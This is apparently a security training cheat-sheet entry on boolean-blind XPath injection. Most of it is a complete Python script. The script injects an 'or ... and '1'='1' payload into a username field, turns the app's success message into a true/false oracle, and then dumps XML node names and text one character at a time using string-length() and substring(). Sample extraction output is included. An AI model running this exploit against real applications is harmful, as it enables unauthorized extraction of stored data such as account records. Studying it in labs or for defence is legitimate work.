Boolean Blind
Boolean-blind XPath: oracle + length + char extraction
Boolean oracle from a success marker, then string-length() to find length and substring() to extract any string-valued XPath char by char.
The injected condition is OR’d into a query whose normal result is suppressed; a TRUE condition makes a row match and the app echoes a success marker, giving a one-bit oracle. length_of() increments until string-length(target)=n is TRUE; extract() then walks each position with substring(target,i,1)='c' across the charset. Parametrising target makes one extractor cover both node names (name(/*[1])) and leaf text (a raw path). The same oracle answers count(path/*)=k to learn how many children a node has, which drives the recursive tree walk. This is the canonical blind shape: oracle, then length, then per-character dump.
import requests, urllib3, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "https://target/index.php"
CHARSET = string.ascii_letters + string.digits + "_-@.{}"
# Condition OR'd into a suppressed query; TRUE -> success marker echoed.
# expr is any XPath number (string-length) or boolean (substring()=...).
def oracle(expr):
data = {"username": f"invalid' or {expr} and '1'='1", "msg": "test"}
r = s.post(URL, data=data, verify=False)
return "Message successfully sent!" in r.text
# Length of any string-valued XPath: a leaf's text, or name(<path>).
def length_of(target):
n = 0
while not oracle(f"string-length({target})={n}"):
n += 1
return n
# Char-by-char extraction of any string-valued XPath via substring().
def extract(target):
out = ""
for i in range(1, length_of(target) + 1):
for c in CHARSET:
if oracle(f"substring({target},{i},1)='{c}'"):
out += c
print(f"[+] {target} -> {out}", end="\r")
break
print()
return out
# root name: extract("name(/*[1])")
# leaf text: extract("/*[1]/*[1]/*[1]")
# child count: next(k for k in range(0, 50) if oracle(f"count(/*[1]/*)={k}"))oracle signal
TRUE -> body contains 'Message successfully sent!'
FALSE -> marker absent
[+] name(/*[1]) -> accountsFind by: xpath blind boolean oracle substring string-length name() count children dump char-by-char node name text · Source: CWEE/XPath Injection - Blind Boolean